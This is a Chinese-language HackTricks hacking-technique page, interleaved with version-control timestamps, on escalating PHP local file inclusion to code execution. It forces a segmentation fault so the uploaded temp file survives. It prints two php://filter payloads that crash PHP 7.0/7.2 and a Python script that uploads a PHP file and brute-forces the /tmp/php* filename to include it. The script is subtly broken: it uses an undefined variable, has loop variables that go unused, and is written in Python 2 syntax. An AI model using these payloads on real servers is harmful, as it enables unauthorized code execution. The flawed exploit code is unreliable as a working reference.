2024-02-05 20:18:17 +00:00
|
|
|
|
# 通过分段错误实现 LFI2RCE
|
2022-12-14 00:23:57 +00:00
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2024-02-05 20:18:17 +00:00
|
|
|
|
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
2022-12-14 00:23:57 +00:00
|
|
|
|
|
2024-02-05 20:18:17 +00:00
|
|
|
|
支持 HackTricks 的其他方式:
|
2022-12-14 00:23:57 +00:00
|
|
|
|
|
2024-02-05 20:18:17 +00:00
|
|
|
|
* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
|
|
|
|
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
|
|
|
|
* 通过向 **HackTricks** 和 **HackTricks Cloud** 的 github 仓库提交 PR 来 **分享您的黑客技巧**。
|
2022-12-14 00:23:57 +00:00
|
|
|
|
|
2024-02-03 16:56:23 +00:00
|
|
|
|
</details>
|
2024-02-05 20:18:17 +00:00
|
|
|
|
|
|
|
|
|
根据 [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)(第二部分)和 [https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view) 的报告,以下 payload 在 PHP 中引起了分段错误:
|
2022-12-14 00:23:57 +00:00
|
|
|
|
```php
|
|
|
|
|
// PHP 7.0
|
|
|
|
|
include("php://filter/string.strip_tags/resource=/etc/passwd");
|
|
|
|
|
|
|
|
|
|
// PHP 7.2
|
|
|
|
|
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
|
|
|
|
|
```
|
2024-02-05 20:18:17 +00:00
|
|
|
|
你应该知道,如果你发送一个包含文件的POST请求,PHP会在`/tmp/php<something>`中创建一个临时文件,其中包含该文件的内容。一旦请求被处理,这个文件会被自动删除。
|
2022-12-14 00:23:57 +00:00
|
|
|
|
|
2024-02-05 20:18:17 +00:00
|
|
|
|
如果你发现一个LFI漏洞,并成功触发了PHP的分段错误,那么这个临时文件将永远不会被删除。因此,你可以利用LFI漏洞搜索这个文件,直到找到并执行任意代码。
|
2022-12-14 00:23:57 +00:00
|
|
|
|
|
2024-02-05 20:18:17 +00:00
|
|
|
|
你可以使用docker镜像[https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0)进行测试。
|
2022-12-14 00:23:57 +00:00
|
|
|
|
```python
|
|
|
|
|
# upload file with segmentation fault
|
|
|
|
|
import requests
|
|
|
|
|
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
|
|
|
|
|
files = {'file': open('la.php','rb')}
|
|
|
|
|
response = requests.post(url, files=files)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# Search for the file (improve this with threads)
|
|
|
|
|
import requests
|
|
|
|
|
import string
|
|
|
|
|
import threading
|
|
|
|
|
|
|
|
|
|
charset = string.ascii_letters + string.digits
|
|
|
|
|
|
|
|
|
|
host = "127.0.0.1"
|
|
|
|
|
port = 80
|
|
|
|
|
base_url = "http://%s:%d" % (host, port)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def bruteforce(charset):
|
2023-08-03 19:12:22 +00:00
|
|
|
|
for i in charset:
|
|
|
|
|
for j in charset:
|
|
|
|
|
for k in charset:
|
|
|
|
|
for l in charset:
|
|
|
|
|
for m in charset:
|
|
|
|
|
for n in charset:
|
|
|
|
|
filename = prefix + i + j + k
|
|
|
|
|
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
|
|
|
|
|
print url
|
|
|
|
|
response = requests.get(url)
|
|
|
|
|
if 'spyd3r' in response.content:
|
|
|
|
|
print "[+] Include success!"
|
|
|
|
|
return True
|
2022-12-14 00:23:57 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def main():
|
2023-08-03 19:12:22 +00:00
|
|
|
|
bruteforce(charset)
|
2022-12-14 00:23:57 +00:00
|
|
|
|
|
|
|
|
|
if __name__ == "__main__":
|
2023-08-03 19:12:22 +00:00
|
|
|
|
main()
|
2022-12-14 00:23:57 +00:00
|
|
|
|
```
|
|
|
|
|
<details>
|
|
|
|
|
|
2024-02-05 20:18:17 +00:00
|
|
|
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
2024-02-03 16:56:23 +00:00
|
|
|
|
|
2024-02-05 20:18:17 +00:00
|
|
|
|
其他支持HackTricks的方式:
|
2022-12-14 00:23:57 +00:00
|
|
|
|
|
2024-02-05 20:18:17 +00:00
|
|
|
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
|
|
|
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
|
|
|
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
2022-12-14 00:23:57 +00:00
|
|
|
|
|
|
|
|
|
</details>
|